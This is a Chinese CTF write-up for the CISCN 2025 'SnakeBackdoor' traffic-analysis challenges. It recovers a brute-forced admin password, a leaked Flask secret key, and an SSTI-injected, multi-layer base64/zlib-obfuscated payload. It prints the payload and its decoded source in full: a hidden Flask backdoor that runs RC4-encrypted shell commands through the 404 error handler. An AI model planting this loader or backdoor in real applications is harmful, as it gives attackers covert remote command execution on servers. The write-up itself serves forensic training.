时隔一年再次参加国赛初赛,相比去年刚入坑CTF只做了3道签到也算是有点进步吧
以下WP中流量分析的 SnakeBackdoor-5SnakeBackdoor-6 为赛后复现
题目见 CTF-Archives/2025-CCB-CISCN-Quals

流量分析

近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

SnakeBackdoor-1

Challenge

攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}

Solution

CISCN2025Quals-1

筛选 http 流量,倒着看,找到最后一条 /admin/login 的流量,302 跳转了说明密码正确了

FLAG

text
flag{zxcvbnm123}

SnakeBackdoor-2

Challenge

攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么,结果提交形式:flag{xxxxxxxxxx}

Solution

CISCN2025Quals-2

直接搜索 SECRET_KEY

FLAG

text
flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

Challenge

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}

Solution

从第二问得知漏洞利用点在 /admin/preview,是 SSTI 注入preview_content

CISCN2025Quals-3

接着追踪下一条 /admin/preview 的流量就能找到通过漏洞植入的木马

CISCN2025Quals-4

这段 payload 的关键部分如下:

python
import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))

把 exec 改成 print 运行得到:

python
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));\nexec((_)(b'=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'))

继续把 exec 改成 print 运行得到:

python
exec((_)(b'=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'))

看起来是递归加密,编写脚本批量解:

python
import base64import zlibimport re code = """exec((_)(b'=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'))""" # 单层的解密逻辑def decrypt_(encrypted_b64_data):    try:        return zlib.decompress(base64.b64decode(encrypted_b64_data[::-1])).decode('utf-8')    except Exception as e:        return None # 递归解密def decrypt(code):    current = code    layer = 0     while True:        match = re.search(r"b'([^']+)'", current)        if match:            layer += 1            payload = match.group(1)            next_layer = decrypt_(payload.encode('utf-8'))            if next_layer:                current = next_layer            else:                break        else:            break     return current print(decrypt(code))

运行解密得到:

python
global exc_classglobal codeimport os,binasciiexc_class, code = app._get_exc_class_and_code(404)RC4_SECRET = b'v1p3r_5tr1k3_k3y'def rc4_crypt(data: bytes, key: bytes) -> bytes:        S = list(range(256))        j = 0        for i in range(256):                j = (j + S[i] + key[i % len(key)]) % 256                S[i], S[j] = S[j], S[i]        i = j = 0        res = bytearray()        for char in data:                i = (i + 1) % 256                j = (j + S[i]) % 256                S[i], S[j] = S[j], S[i]                res.append(char ^ S[(S[i] + S[j]) % 256])        return bytes(res)def backdoor_handler():        if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':                return "Error"        enc_hex_cmd = request.form.get('data')        if not enc_hex_cmd:                return ""        try:                enc_cmd = binascii.unhexlify(enc_hex_cmd)                cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')                output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')                enc_output = rc4_crypt(output_bytes, RC4_SECRET)                return binascii.hexlify(enc_output).decode()        except:                return "Error"app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

FLAG

text
flag{v1p3r_5tr1k3_k3y}

